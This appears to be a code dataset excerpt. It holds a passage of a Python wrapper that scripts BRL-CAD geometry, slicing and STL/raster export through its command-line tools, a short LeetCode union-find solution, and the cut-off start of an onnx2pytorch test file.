tessellation tolerance\n - the maximum allowed distance (mm) between the real surface\n and the facets\n The \"-r\" option specifies a relative tessellation tolerance\n - an absolute tolerance is calculated as the relative\n tolerance times the \"size\" of the object being tessellated\n (for a sphere, the \"size\" is the radius).\n The \"-n\" option specifies the maximum surface normal error\n (in radians).\n By default, tessellations are performed using a relative\n tolerance of 0.01. Try using the -r option with values other\n than 0.01.\n \"\"\"\n \"\"\" from http://permalink.gmane.org/gmane.comp.cad.brlcad.devel/4600\n For example, setting g-stl -n 1.0 should create a polygon for every 1-degree difference in curvature. \n Since your model has a lot of circular edges, this should me a considerable visual improvement. Setting\n the absolute tolerance to some sub-zero value should have a similar effect, but be careful to not specify a\n number too small or you may inadvertently create many GB of polygons (or worse).\n \"\"\"\n stl_quality_method = '-n'\n if self.stl_quality_method:\n is_string(self.stl_quality_method)\n requested_method = self.stl_quality_method.lower()\n if requested_method == 'absolute':\n stl_quality_method = '-a'\n elif requested_method == 'relative':\n stl_quality_method = '-r'\n elif requested_method == 'max_normal_error':\n stl_quality_method = '-r'\n\n if self.stl_quality and self.stl_quality > 0:\n cmd = '{} {} {}'.format(cmd, stl_quality_method, self.stl_quality)\n\n # Add the paths\n cmd = '{} {} {}'.format(cmd, self.g_path, obj_str)\n\n print('running: {}'.format(cmd))\n proc = subprocess.Popen(cmd, shell=True)#, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n proc.communicate()\n\n def export_image_from_Z(self, item_name, width, height, output_path=None, azimuth=None, elevation=None):\n if output_path is None:\n output_path = '{}.png'.format(self.project_filename_prefix)\n if azimuth is None:\n azimuth = -90\n if elevation is None:\n elevation = -90\n\n try:\n os.remove(output_path)\n except:\n pass\n # on Linux, use 'man rt' on the command-line to get all the info... \n # (it is still not terribly straight-forward)\n cmd = 'rt -a {} -l0 -e {} -w {} -n {} -o {} {} {}'\\\n .format(azimuth, elevation, width, height, output_path, os.path.abspath(self.g_path), item_name)\n print('\\nrunning: {}'.format(cmd))\n #proc = subprocess.Popen(cmd, shell=True) # for debugging, to get rt output printing to cmdline\n proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n proc.communicate()\n\n return output_path\n\n def create_slice_regions(self, slice_thickness, max_slice_x, max_slice_y, output_format=''):\n tl_names = self.get_top_level_object_names()\n xyz1, xyz2 = self.get_opposing_corners_bounding_box(self.get_bounding_box_coords_for_entire_db(tl_names))\n #print 'bb of all items {} to {}'.format(xyz1, xyz2)\n\n if abs(xyz1[0] - xyz2[0]) > max_slice_x:\n raise Exception('x dimension exceeds buildable bounds {} {} {}'.format(xyz1[0], xyz2[0], max_slice_x))\n if abs(xyz1[1] - xyz2[1]) > max_slice_y:\n raise Exception('y dimension exceeds buildable bounds')\n\n slice_coords = list(self.get_object_slice_coords(slice_thickness, xyz1, xyz2))\n self.slice_coords = []\n temps_to_kill = []\n\n for i, object_slice_bb_coords in enumerate(slice_coords):\n # = self.name_tracker.get_next_name(self, 'slice_bb{}_num.s'.format(i))\n slice_bb_temp = self.cuboid(object_slice_bb_coords[0], object_slice_bb_coords[1])\n temps_to_kill.append(slice_bb_temp)\n # finally create a region (a special combination that means it's going to be rendered)\n # by unioning together the main combinations we just created\n tl_name_plussed = ' + '.join(tl_names)\n # slice_reg_name = self.name_tracker.get_next_name(self, 'slice{}_num.c'.format(i))\n \n slice_reg_name = self.region('u {} + {}'.format(slice_bb_temp, tl_name_plussed),\n name='slice{}_num.r'.format(i))\n temps_to_kill.append(slice_reg_name)\n self.slice_coords.append((slice_reg_name, object_slice_bb_coords))\n self.save_tcl()\n self.save_g()\n # [self.kill(temp_bb) for temp_bb in temps_to_kill]\n # self.save_tcl()\n # self.save_g()\n return self.slice_coords, temps_to_kill\n\n def get_object_raster_from_z_projection(self,\n slice_region_name,\n model_min,\n model_max,\n slice_thickness,\n ray_destination_dir_xyz=[0, 0, -1],\n bmp_output_name=None,\n num_pix_x=1024,\n num_pix_y=1024,\n output_greyscale=True,\n threading_event=None):\n num_pix_x = int(math.ceil(num_pix_x))\n num_pix_y = int(math.ceil(num_pix_y))\n # each 'bit' can be -1, 0, or 1\n x_bit, y_bit, z_bit = [int(b) for b in ray_destination_dir_xyz]\n # only one non-zero value can be provided\n assert([x_bit!=0, y_bit!=0, z_bit!=0].count(True) == 1)\n\n model_width = model_max[0] - model_min[0]\n model_length = model_max[1] - model_min[1]\n x_offset = (0-model_min[0])\n y_offset = (0-model_min[1])\n\n x_scale = float(num_pix_x)/model_width\n y_scale = float(num_pix_y)/model_length\n\n x_step = model_width/float(num_pix_x)\n y_step = model_length/float(num_pix_y)\n\n step_size = max(x_step, y_step)\n \n \n if threading_event:\n threading_event.set()\n # create a list for the NIRT command lines to be queued\n nirt_script_path = '{}.nirt'.format(self.project_filename_prefix)\n nirt_script_file = open(nirt_script_path, 'w')\n\n # set the direction to fire rays in\n nirt_script_file.write('dir {} {} {}\\n'.format(x_bit, y_bit, z_bit))\n nirt_script_file.write('units {}\\n'.format(self.units))\n x = model_min[0]\n z = model_max[2]\n\n xstepcount = 0\n # the raster loops, loop over each Y for each X location\n while x < model_max[0]:\n # start Y at the minimum for each Y loop\n y = model_min[1]\n ystepcount = 0\n # loop while Y is less than the model's max Y\n while y < model_max[1]:\n # move around the model in X and Y axes, using the determined step-size\n nirt_script_file.write('xyz {} {} {}\\n'.format(x, y, z))\n # fire a ray\n nirt_script_file.write('s\\n')\n # step in Y\n y += step_size\n ystepcount += 1\n # make sure we aren't going out-of-bounds\n assert ystepcount <= num_pix_y, (ystepcount, num_pix_y)\n # step in X\n x += step_size\n xstepcount += 1\n # make sure we aren't going out-of-bounds\n assert xstepcount <= num_pix_x, (xstepcount, num_pix_x)\n nirt_script_file.close()\n \n # the -s command might speed things up???\n #args = ['nirt', '-s', self.g_path, slice_region_name]\n args = 'nirt -s {} {} < {}'.format(self.g_path, slice_region_name, nirt_script_path)\n print('\\nrunning: {}'.format(args))\n\n # pass the commands to NIRT, get NIRT's response\n p = subprocess.Popen(args,\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, shell=True)\n outp = p.communicate()\n if sys.version_info >= (3, 0):\n outp = outp.decode()\n\n chunks = []\n # break up NIRT's response by newline\n out_lines = outp[0].split('\\n')\n err_lines = outp[1].split('\\n')\n \n im = numpy.zeros((num_pix_x, num_pix_y))\n # r = re.compile(r'\\((\\s*-?\\d+\\.?\\d+)\\s+(-?\\d+\\.?\\d+)\\s+(-?\\d+\\.?\\d+)\\)')\n r = re.compile(r'\\((\\s*-?\\d+\\.?\\d+)\\s+(-?\\d+\\.?\\d+)\\s+(-?\\d+\\.?\\d+)\\)\\s+(-?\\d+\\.?\\d+)')\n hit_description_header = ' Region Name Entry (x y z) LOS Obliq_in Attrib'\n missed_target = 'You missed the target'\n state = 0\n\n decade = len(out_lines)/10\n for il, l in enumerate(out_lines):\n # if il%decade==0:\n # print '{}% completed parsing NIRT output'.format(float(il)/len(out_lines)*100)\n\n # check if we are starting a new section IF:\n # we are just starting, or we got at least one coordinate\n if (state == 0 or state == 3) and l.startswith('Origin'):\n # and out_lines[out_lines.index(l)+1].startswith('Direction'):\n state = 1\n chunks.append({'Origin': l, 'Coords': []})\n elif state == 1:\n state = 2\n chunks[-1]['Direction'] = l\n elif state == 2:\n if l.startswith(hit_description_header) or (not l):\n continue\n # we got a hit or miss\n state = 3\n if missed_target in l:\n continue\n # store the line for later\n chunks[-1]['Coords'].append(l)\n m = r.search(l)\n if not m:\n print('first 10 lines out:\\n{}'.format(out_lines[:10]))\n print('first err:\\n{}'.format(err_lines[:1]))\n raise Exception(\"regex didn't work to find coordinates! report this bug. on input line {}\".format(l))\n x, y, z, depth_of_hit = m.groups()\n\n zeroed_x = (float(x) - model_min[0])\n zeroed_y = (float(y) - model_min[1])\n if zeroed_x:\n floated_x = zeroed_x/step_size\n int_x = int(round(floated_x))\n # enable this if you are paranoid about the math\n # numpy.testing.assert_approx_equal(floated_x, int_x, 4, 'these were not equal:\\n{}\\n{}'.format(floated_x, int_x))\n else:\n int_x = 0\n if zeroed_y:\n floated_y = zeroed_y/step_size\n int_y = int(round(floated_y))\n # enable this if you are paranoid about the math\n # numpy.testing.assert_approx_equal(floated_y, int_y, 4, 'these were not equal:\\n{}\\n{}'.format(floated_y, int_y))\n else:\n int_y = 0\n\n if output_greyscale:\n im[int_x, int_y] = (float(depth_of_hit)/slice_thickness)*255\n else:\n im[int_x, int_y] = 1\n\n elif state==3:\n # we already got a hit for this spot, so we don't need to check again\n continue\n\n if output_greyscale:\n result = Image.fromarray(im.astype(numpy.uint8))\n else:\n result = Image.fromarray((im * 255).astype(numpy.uint8))\n result.save(bmp_output_name)\n return bmp_output_name\n\n def export_model_slices(self,\n num_slices_desired,\n max_slice_x, max_slice_y,\n output_format='stl', output_option_kwargs={}, output_path_format=None):\n \"\"\"\n\n :param num_slices_desired: the number of equal-sized slices you want to end up with\n :param max_slice_x: the maximum X dimension you want to export (in model units)\n :param max_slice_y: the maximum Y dimension you want to export (in model units)\n :param output_format: either 'raster' or 'stl' currently\n :param output_option_kwargs: i.e. 'raster' format supports 'greyscale_output':True/False\n :param output_path_format: a string with two {} that the g-database path and slice-num are inserted into\n :return: nothing\n \"\"\"\n orig_path = self.project_filename_prefix\n orig_tcl = list(self.script_string_list)\n self.save_tcl()\n self.save_g()\n # calculate the slice thickness needed to get the number of slices requested\n tl_names = self.get_top_level_object_names()\n print('top level names about to be exported: {}'.format(tl_names))\n xyz1, xyz2 = self.get_opposing_corners_bounding_box(self.get_bounding_box_coords_for_entire_db(tl_names))\n print('top level items bounding-box: {} to {}'.format(xyz1, xyz2))\n\n slice_thickness = abs(xyz2[2] - xyz1[2]) / float(num_slices_desired)\n\n # now create the slice regions\n slice_coords, temps_to_kill = self.create_slice_regions(slice_thickness, max_slice_x, max_slice_y)\n\n import threading\n threads = []\n for i, (slice_obj_name, sc) in enumerate(slice_coords):\n if output_format == 'raster':\n if not output_path_format:\n output_path_format='{}{}.jpg'\n e = threading.Event()\n output_filename = output_path_format.format(self.project_filename_prefix, i)\n default_raster_kwargs = {'bmp_output_name': output_filename,\n 'threading_event': e}\n default_raster_kwargs.update(output_option_kwargs)\n t = threading.Thread(target=self.get_object_raster_from_z_projection,\n args=(slice_obj_name,\n sc[0],\n sc[1],\n slice_thickness),\n kwargs=default_raster_kwargs)\n t.daemon = True\n t.start()\n # try waiting for NIRT to finish, before starting the next thread\n e.wait()\n # TODO: improve speed of NIRT jobs if possible\n # calling multiple NIRT processes at once doesn't seem to work\n # just wait for each thread to finish\n t.join()\n threads.append(t)\n # allow a max of 4 NIRT process threads\n while len(threads) >= 4:\n threads.pop(0).join()\n elif output_format == 'stl':\n if not output_path_format:\n output_path_format = '{}{}'\n\n self.project_filename_prefix = output_path_format.format(orig_path, i)\n\n if i == 0:\n self.run_and_save_stl([slice_obj_name])\n else:\n self.save_stl([slice_obj_name])\n\n # post-loop output-format specific stuff\n if output_format == 'raster':\n while threads:\n threads.pop(0).join()\n self.script_string_list = []\n # get rid of the slices, so they don't show up as top-level objects if user exports slices again\n # destroy the objects in the reverse order of how they were created\n # [self.kill(temp_bb) for temp_bb in reversed(temps_to_kill)]\n # self.save_tcl()\n # self.save_g()\n self.script_string_list = orig_tcl\n self.save_tcl()\n elif output_format == 'stl':\n self.project_filename_prefix = orig_path\n\n @staticmethod\n def get_object_slice_coords(slice_thickness, xyz1, xyz2):\n lz = min(xyz1[2], xyz2[2])\n mz = max(xyz1[2], xyz2[2])\n iz = lz\n while iz < mz:\n c1 = [c for c in xyz1]\n c1[2] = iz\n c2 = [c for c in xyz2]\n iz += slice_thickness\n if iz > mz:\n iz = mz\n c2[2] = iz\n for i in range(3):\n if c1[i] > c2[i]:\n g = c1[i]\n c1[i] = c2[i]\n c2[i] = g\n yield (c1, c2)\n\n def get_top_level_object_names(self):\n \"\"\"\n The \"tops\" command displays a list of all the top-level objects in the current database.\n The top-level objects are all those objects that are not referenced by some other combination.\n The hierarchical structure of BRL-CAD databases usually means that there will be a top-level \n object that includes all (or at least most) of the objects in the database.\n The -g option shows only geometry objects. The -n option specifies that no \"decoration\" \n (e.g., \"/\" and \"/R\") be shown at the end of each object name. \n The -u option will not show hidden objects. See also the hide command.\n \"\"\"\n proc = subprocess.Popen('mged {} \"tops\"'.format(self.g_path),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True)\n (stdoutdata, stderrdata) = proc.communicate()\n if sys.version_info >= (3, 0):\n stdoutdata = stdoutdata.decode()\n stderrdata = stderrdata.decode()\n # print stdoutdata\n # print stderrdata\n flattened = [segment.strip().rstrip('/R') for segment in stderrdata.strip().split()]\n # print 'tops found: {}'.format(flattened)\n return flattened\n\n def get_bounding_box_coords_for_entire_db(self, name_list):\n part_names = ' '.join(name_list)\n return self.get_bounding_box_coords(part_names)\n\n def get_bounding_box_coords(self, obj_name, mged_post_7_26=False, auto_retry=True):\n \"\"\"\n The \"l\" command displays a verbose description about the specified list of objects.\n If a specified object is a path, then any transformation matrices along that path are applied.\n If the final path component is a combination, the command will list the Boolean formula for the \n combination and will indicate any accumulated transformations (including any in that combination).\n If a shader and/or color has been assigned to the combination, the details will be listed.\n For a region, its ident, air code, material code, and LOS will also be listed.\n For primitive shapes, detailed shape parameters will be displayed with the accumulated transformation \n applied. If the -r (recursive) option is used, then each object on the command line will be treated \n as a path. If the path does not end at a primitive shape, then all possible paths from that point \n down to individual shapes will be considered. The shape at the end of each possible path will be \n listed with its parameters adjusted by the accumulated transformation.\n \"\"\"\n if not mged_post_7_26:\n make_bb_cmd = 'make_bb'\n else:\n make_bb_cmd = 'bb -c'\n args = 'mged {} \"{} temp_box {}; l temp_box\"'.format(self.g_path, make_bb_cmd, obj_name)\n proc = subprocess.Popen(args,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True)\n \n (stdoutdata, stderrdata) = proc.communicate()\n if sys.version_info >= (3, 0):\n stdoutdata = stdoutdata.decode()\n stderrdata = stderrdata.decode()\n if auto_retry and 'invalid command name \"make_bb\"' in stderrdata:\n if self.verbose:\n print('retrying this command (obj_name: {}), as stderr returned: {}'.format(obj_name, stderrdata))\n return self.get_bounding_box_coords(obj_name, not mged_post_7_26, auto_retry=False)\n elif self.verbose:\n print(stdoutdata, stderrdata)\n subprocess.Popen('mged {} \"kill temp_box\"'.format(self.g_path), shell=True).communicate()\n\n bb_coords = []\n # print 'stderrdata.split {}'.format(stderrdata.split('\\n')[1:])\n seen_temp_box=False\n for segment in stderrdata.split('\\n'):\n if 'temp_box' in segment:\n seen_temp_box = True\n if '(' not in segment or not seen_temp_box:\n continue\n first_paren = segment.index('(')\n second_paren = segment.index(')')\n x, y, z = segment[first_paren+1:second_paren].split(',')\n \n x = float(x)\n y = float(y)\n z = float(z)\n bb_coords.append((x, y, z))\n # print '(x, y, z) {}'.format((x, y, z))\n print('bb_coords is {}'.format(bb_coords))\n if not bb_coords:\n raise Exception('getting bounding-box for primitive ({}) FAILED! this was the cmdline data returned -- stdout {}\\nstderr:{}'.format(obj_name, stdoutdata, stderrdata))\n return bb_coords\n\n def get_opposing_corners_bounding_box(self, bb_coords):\n _bb_coords = sorted(list(bb_coords))\n # take any of corners\n first = _bb_coords.pop()\n # now find one that opposes it\n for axis in {0: 'x', 1: 'y', 2: 'z'}:\n for coord in list(_bb_coords):\n if coord[axis] == first[axis]:\n _bb_coords.remove(coord)\n second = _bb_coords[0]\n return (first, second)\n\n def get_center_of_opposing_box_corners(self, corner_a, corner_b):\n x_max = max((corner_a[0], corner_b[0]))\n x_min = min((corner_a[0], corner_b[0]))\n y_max = max((corner_a[1], corner_b[1]))\n y_min = min((corner_a[1], corner_b[1]))\n z_max = max((corner_a[2], corner_b[2]))\n z_min = min((corner_a[2], corner_b[2]))\n x = (x_max - x_min) / 2 + x_min\n y = (y_max - y_min) / 2 + y_min\n z = (z_max - z_min) / 2 + z_min\n return (x,y,z)\n\n def set_combination_color(self, obj_name, R, G, B):\n is_string(obj_name)\n self.script_string_list.append( 'comb_color {} {} {} {}\\n'.format(obj_name, R, G, B))\n\n def set_material_color(self, obj_name, R, G, B, material='plastic'):\n is_string(obj_name)\n inherit = '0'\n # Assign material properties to; the region called shapes1.r; Make the region of plastic; \n # Give it a color of light green; Do not inherit colors or material type\n self.script_string_list.append( 'mater {} \"{}\" {} {} {} {}\\n'.format(obj_name, material, R, G, B, inherit))\n\n def combination(self, operation, name=None):\n name = self._default_name_(name)\n u = ''\n if not operation.strip().startswith('u'):\n u='u '\n self.script_string_list.append('comb {} {} {}\\n'.format(name, u, operation))\n return name\n\n def group(self, name_list, name=None):\n name = self._default_name_(name)\n if not isinstance(name_list, str) and not isinstance(name_list, list):\n raise Exception('name_list argument to \"group\" method must be a list of strings or a whitespace-separated string of names')\n if isinstance(name_list, list):\n names = join_as_str(' ', name_list)\n else:\n names = name_list\n self.script_string_list.append( 'g {} {}\\n'.format(name, names))\n return name\n\n def region(self, operation, name=None):\n name = self._default_name_(name)\n self.script_string_list.append( 'r {} {}\\n'.format(name, operation))\n return name\n\n def begin_combination_edit(self, combination_to_select, path_to_center):\n if not str(path_to_center).endswith('.s'):\n (frame, filename, line_number,\n function_name, lines, index) = inspect.getouterframes(inspect.currentframe())[1]\n print('WARNING: right-hand-side arg to begin_combination_edit does not have the .s file extension, which indicates a primitive may not have been passed! Watch out for errors!!!')\n print('(in file: {}, line: {}, function-name: {})'.format(filename, line_number, function_name))\n self.script_string_list.append( 'Z\\n')\n self.script_string_list.append( 'draw {}\\n'.format(combination_to_select))\n self.script_string_list.append( 'oed / {0}/{1}\\n'.format(combination_to_select, path_to_center))\n\n def begin_primitive_edit(self, name):\n self.script_string_list.append( 'Z\\n')\n self.script_string_list.append( 'draw {}\\n'.format(name))\n self.script_string_list.append( 'sed {0}\\n'.format(name))\n\n def end_combination_edit(self):\n self.script_string_list.append( 'accept\\n')\n\n def remove_object_from_combination(self, combination, object_to_remove):\n self.script_string_list.append( 'rm {} {}\\n'.format(combination, object_to_remove))\n\n def keypoint(self, x, y, z):\n self.script_string_list.append('keypoint {} {} {}\\n'.format(x, y, z))\n\n def translate(self, x, y, z, relative=False):\n cmd = 'translate'\n if relative:\n cmd = 'tra'\n self.script_string_list.append( '{} {} {} {}\\n'.format(cmd, x, y, z))\n\n def translate_relative(self, dx, dy, dz):\n self.translate(dx, dy, dz, relative=True)\n\n def rotate_combination(self, x, y, z):\n self.script_string_list.append('orot {} {} {}\\n'.format(x, y, z))\n\n def rotate_primitive(self, name, x, y, z, angle=None):\n is_string(name)\n self.begin_primitive_edit(name)\n self.keypoint(x, y, z)\n if angle:\n self.script_string_list.append( 'arot {} {} {} {}\\n'.format(x, y, z, angle))\n else:\n self.script_string_list.append( 'rot {} {} {}\\n'.format(x, y, z))\n self.end_combination_edit()\n\n def rotate_angle(self, name, x, y, z, angle, obj_type='primitive'):\n if obj_type=='primitive':\n self.script_string_list.append( 'Z\\n')\n self.script_string_list.append( 'draw {}\\n'.format(name))\n self.script_string_list.append( 'sed {}\\n'.format(name))\n else:\n raise NotImplementedError('add non primitive editing start command')\n self.script_string_list.append( 'arot {} {} {} {}\\n'.format(x,y,z, angle))\n self.script_string_list.append( 'accept\\n')\n # self.script_string_list.append( 'Z\\n')\n\n def kill(self, name):\n if isinstance(name, list):\n for _name in name:\n self.script_string_list.append( 'kill {}\\n'.format(_name))\n else:\n self.script_string_list.append( 'kill {}\\n'.format(name))\n\n def _default_name_(self, name):\n if (name is not None) and (not is_string(name)):\n raise Exception('name arg must be a string or None (which will cause name auto-generation), type is ({})'.format(type(name)))\n caller_func_name = inspect.stack()[1][3]\n if name is None or name is '':\n primitive_extension = 's'\n if caller_func_name == 'combination':\n primitive_extension = 'c'\n elif caller_func_name == 'region':\n primitive_extension = 'r'\n elif caller_func_name == 'group':\n primitive_extension = 'g'\n nname = self.name_tracker.get_next_name(self, '{}.{}'.format(caller_func_name, primitive_extension))\n #print('_default_name_ generated: {}'.format(nname))\n else:\n if name not in self.name_tracker.num_parts_in_use_by_part_name:\n self.name_tracker.increment_counter_for_name(name)\n return BrlCadObjectName(name)\n nname = self.name_tracker.get_next_name(self, name)\n return BrlCadObjectName(nname)\n\n def _check_name_unused_(self, name):\n if name in self.name_tracker.num_parts_in_use_by_part_name:\n (frame, filename, line_number,\n function_name, lines, index) = inspect.getouterframes(inspect.currentframe())[1]\n raise Exception('name: {} already used! (in file: {}, line: {}, function-name: {})'.format(name, filename, line_number, function_name))\n \n def tgc(self, base, height,\n ellipse_base_radius_part_A, ellipse_base_radius_part_B,\n top_radius_scaling_A, top_radius_scaling_B,\n name=None):\n name = self._default_name_(name)\n is_truple(base)\n is_truple(height)\n is_truple(ellipse_base_radius_part_A)\n is_truple(ellipse_base_radius_part_B)\n is_number(top_radius_scaling_A)\n is_number(top_radius_scaling_B)\n \n basex, basey, basez = base\n hx, hy, hz = height\n ax, ay, az = ellipse_base_radius_part_A\n bx, by, bz = ellipse_base_radius_part_B\n self.script_string_list.append( 'in {} tgc {} {} {} '\\\n ' {} {} {}'\\\n ' {} {} {}'\\\n ' {} {} {}'\\\n ' {} {}\\n'.format(name,\n basex, basey, basez,\n hx, hy, hz,\n ax, ay, az,\n bx, by, bz,\n top_radius_scaling_A,\n top_radius_scaling_B))\n return name\n\n def rcc(self, base, height, radius, name=None):\n name = self._default_name_(name)\n is_truple(base)\n is_truple(height)\n is_number(radius)\n bx, by, bz = base\n hx, hy, hz = height\n self.script_string_list.append('in {} rcc {} {} {} {} {} {} {}\\n'\n .format(name, bx, by, bz, hx, hy, hz,\n radius))\n return name\n\n def rpc(self, vertex, height_vector, base_vector, half_width, name=None):\n name = self._default_name_(name)\n is_truple(vertex)\n is_truple(height_vector)\n is_truple(base_vector)\n is_number(half_width)\n vx, vy, vz = vertex\n hx, hy, hz = height_vector\n bx, by, bz = base_vector\n self.script_string_list.append('in {} rpc {} {} {} {} {} {} {} {} {} {}\\n'\n .format(name,\n vx,vy,vz,\n hx,hy,hz,\n bx,by,bz,\n half_width))\n return name\n\n def box_by_opposite_corners(self, name, pmin, pmax):\n return self.rpp(self, name, pmin, pmax)\n\n def circular_cylinder(self, base_center_point, top_center_point, radius, name=None):\n return self.rcc(base_center_point, top_center_point, radius, name)\n\n def rpp(self, pmin, pmax, name=None):\n name = self._default_name_(name)\n is_truple(pmin)\n is_truple(pmax)\n minx,miny,minz = pmin\n maxx,maxy,maxz = pmax\n assert minx<=maxx, 'minx is not less than maxx! {} {} {}'.format(name, pmin, pmax)\n assert miny<=maxy, 'miny is not less than maxy! {} {} {}'.format(name, pmin, pmax)\n assert minz<=maxz, 'minz is not less than maxz! {} {} {}'.format(name, pmin, pmax)\n self.script_string_list.append( 'in {} rpp {} {} {} {} {} {}\\n'.format(name,\n minx,maxx,\n miny,maxy,\n minz,maxz))\n return name\n\n def cuboid(self, corner_point, opposing_corner_point, name=None):\n return self.rpp(corner_point, opposing_corner_point, name)\n\n def arb4(self, v1, v2, v3, v4, name=None):\n name = self._default_name_(name)\n return name\n\n def arb5(self, v1, v2, v3, v4, v5, name=None):\n name = self._default_name_(name)\n return name\n\n def arb6(self, v1, v2, v3, v4, v5, v6, name=None):\n name = self._default_name_(name)\n [is_truple(v) for v in [v1, v2, v3, v4, v5, v6]]\n vs = [str(v) for xyz in [v1, v2, v3, v4, v5, v6] for v in xyz]\n assert len(vs)==6*3\n self.script_string_list.append( 'in {} arb6 {}\\n'.format(name,\n ' '.join(vs)))\n return name\n\n def arb7(self, v1, v2, v3, v4, v5, v6, v7, name=None):\n name = self._default_name_(name)\n\n def arb8(self, points, name=None):\n name = self._default_name_(name)\n check_args = [is_truple(x) for x in points]\n assert(len(points)==8)\n points_list = ' '.join([str(c) for c in chain.from_iterable(points)])\n \n #print 'arb8 points list: {}\\n\\n{}'.format(points, points_list)\n \n self.script_string_list.append( 'in {} arb8 {} \\n'.format(name,\n points_list\n ))\n return name\n \n def arbX(self, name, vList):\n #Detect which function to use, and feed in the parameters\n if len(vList) in range(4, 9):\n arbFunction = getattr(self, \"arb\" + str(len(vList)))\n \n #Execute it\n arbFunction(name, *vList)\n return name\n \n def Cone(self, name, trc, vertex, height_vector, base_radius, top_radius):\n is_string(name)\n\n def Cone_elliptical(self, name, tec, vertex, height_vector, major_axis, minor_axis, ratio):\n is_string(name)\n\n def cone_general(self, vertex, height_vector, avector, bvector, cscalar, dscalar, name=None):\n return self.tgc(vertex, height_vector, avector, bvector, cscalar, dscalar, name)\n\n def cylinder(self, vertex, height_vector, radius, name=None):\n return self.rcc(vertex, height_vector, radius, name)\n\n def Cylinder_elliptical(self, name, rec, vertex, height_vector, major_axis, minor_axis):\n is_string(name)\n\n def Cylinder_hyperbolic(self, name, rhc,vertex, height_vector, bvector, half_width, apex_to_asymptote):\n is_string(name)\n\n def Cylinder_parabolic(self, name, rpc, vertex, height_vector, bvector, half_width):\n is_string(name)\n\n def Ellipsoid(self, name, ell, vertex, avector, bvector, cvector):\n is_string(name)\n\n def Hyperboloid_elliptical(self, name, ehy, vertex, height_vector, avector, bscalar, apex_to_asymptote):\n is_string(name)\n\n def Paraboloid_elliptical(self, name, epa, vertex, height_vector, avector, bscalar):\n is_string(name)\n\n def Ellipsoid_radius(self, name, ell1, vertex, radius):\n is_string(name)\n\n def Particle(self, name, part, vertex, height_vector, radius_at_v_end, radius_at_h_end):\n is_string(name)\n\n def sph(self, vertex, radius, name=None):\n name = self._default_name_(name)\n is_truple(vertex)\n is_number(radius)\n x, y, z = vertex\n self.script_string_list.append( 'in {} sph {} {} {} {}'.format(name, x, y, z, radius))\n return name\n\n def sphere(self, vertex, radius, name=None):\n return self.sph(vertex, radius, name)\n\n def torus(self, vertex, normal, radius_1, radius_2, name=None):\n # vertex, normal vector, radius of revolution, tube radius\n name = self._default_name_(name)\n is_truple(vertex)\n is_truple(normal)\n is_number(radius_1)\n is_number(radius_2)\n x, y, z = vertex\n vx, vy, vz = normal\n self.script_string_list.append( 'in {} tor {} {} {} {}'.format(name, x, y, z, vx, vy, vz, radius_1, radius_2))\n return name\n\n def torus_elliptical(self, eto, vertex, normal_vector, radius, cvector, axis, name=None):\n is_string(name)\n\n def pipe_point(self, x, y, z, inner_diameter, outer_diameter, bend_radius):\n return OrderedDict(\n [('x', x),\n ('y', y),\n ('z', z),\n ('inner_diameter', inner_diameter),\n ('outer_diameter', outer_diameter),\n ('bend_radius', bend_radius)\n ]\n )\n\n def pipe(self, pipe_points, name=None):\n name = self._default_name_(name)\n num_points = len(pipe_points)\n assert(num_points>1)\n\n if isinstance(pipe_points[0], dict):\n points_str_list = ['{} {} {} {} {} {}'.format(*points.values()) for points in pipe_points]\n # handle the way the hilbert_3d example from python-brlcad was using the Vector class\n elif isinstance(pipe_points[0][0], vmath.vector.Vector):\n def rotate_tuple(x): d = deque(list(x)); d.rotate(2); return d\n points_str_list = ['{} {} {} {} {} {}'.format(*(list(points[0]) + list(rotate_tuple(points[1:]))) ) for points in pipe_points]\n self.script_string_list.append( 'in {} pipe {} {}\\n'.format(name, num_points, ' '.join(points_str_list)))\n \"\"\" # this worked for me as a spring\n in spring.s pipe 10 -500 -500 250 10 200 500 -500 500 350 100 200 500 500 500 450 100 200 500 500 -500 550 100 200 500 -500 -500 650 100 200 500 -500 500 750 100 200 500 500 500 850 100 200 500 500 -500 950 100 200 500 -500 -500 1050 100 200 500 -500 500 1150 100 200 500 0 500 1200 100 200 500\n r s.r u spring.s\n \"\"\"\n return name\n\n\nclass BrlCadModel(object):\n __metaclass__ = ABCMeta\n\n def __init__(self, brl_db):\n self.brl_db = brl_db\n self.name_tracker = brl_db.name_tracker\n self.get_next_name = self.name_tracker.get_next_name\n self.final_name = None\n self.connection_points = []\n\n def register_new_connection_point(self, name, coord, away_vector):\n self.connection_points.append((name, coord, away_vector))\n\n def get_connection(self, name):\n for item in self.connection_points:\n if item[0] == name:\n return item\n return None\n\n @property\n def connections_available(self):\n return [item[0] for item in self.connection_points]\n","repo_name":"nmz787/python-brlcad-tcl","sub_path":"python_brlcad_tcl/brlcad_tcl.py","file_name":"brlcad_tcl.py","file_ext":"py","file_size_in_byte":46231,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"29"} +{"seq_id":"5085319298","text":"class Solution:\n def smallestStringWithSwaps(self, s: str, pairs: List[List[int]]) -> str:\n n = len(s)\n disjoint = []\n for i in range(n):\n arr = [0]*26\n arr[ord(s[i]) - ord(\"a\")] = 1\n disjoint.append([i, arr])\n rank = [0] * n\n\n def dfs(vertex):\n while vertex != disjoint[vertex][0]:\n vertex = disjoint[vertex][0]\n \n return vertex\n\n for a, b in pairs:\n px, py = dfs(a), dfs(b)\n if rank[px] <= rank[py]:\n if px != py:\n for i in range(26):\n disjoint[py][1][i] += disjoint[px][1][i]\n \n disjoint[px][0] = py\n rank[py] = max(rank[py], rank[px] + 1)\n else:\n for i in range(26):\n disjoint[px][1][i] += disjoint[py][1][i]\n \n disjoint[py][0] = px\n rank[px] = max(rank[py] + 1, rank[px])\n ans = \"\"\n for i in range(n):\n p = dfs(i)\n \n arr = disjoint[p][1]\n for i in range(26):\n if arr[i] != 0:\n ans += chr(ord(\"a\") + i)\n arr[i] -= 1\n break\n\n return ans","repo_name":"yohanse/A2SV","sub_path":"smallest-string-with-swaps.py","file_name":"smallest-string-with-swaps.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35837027908","text":"import torch\nimport pytest\n\nfrom onnx2pytorch.operations import 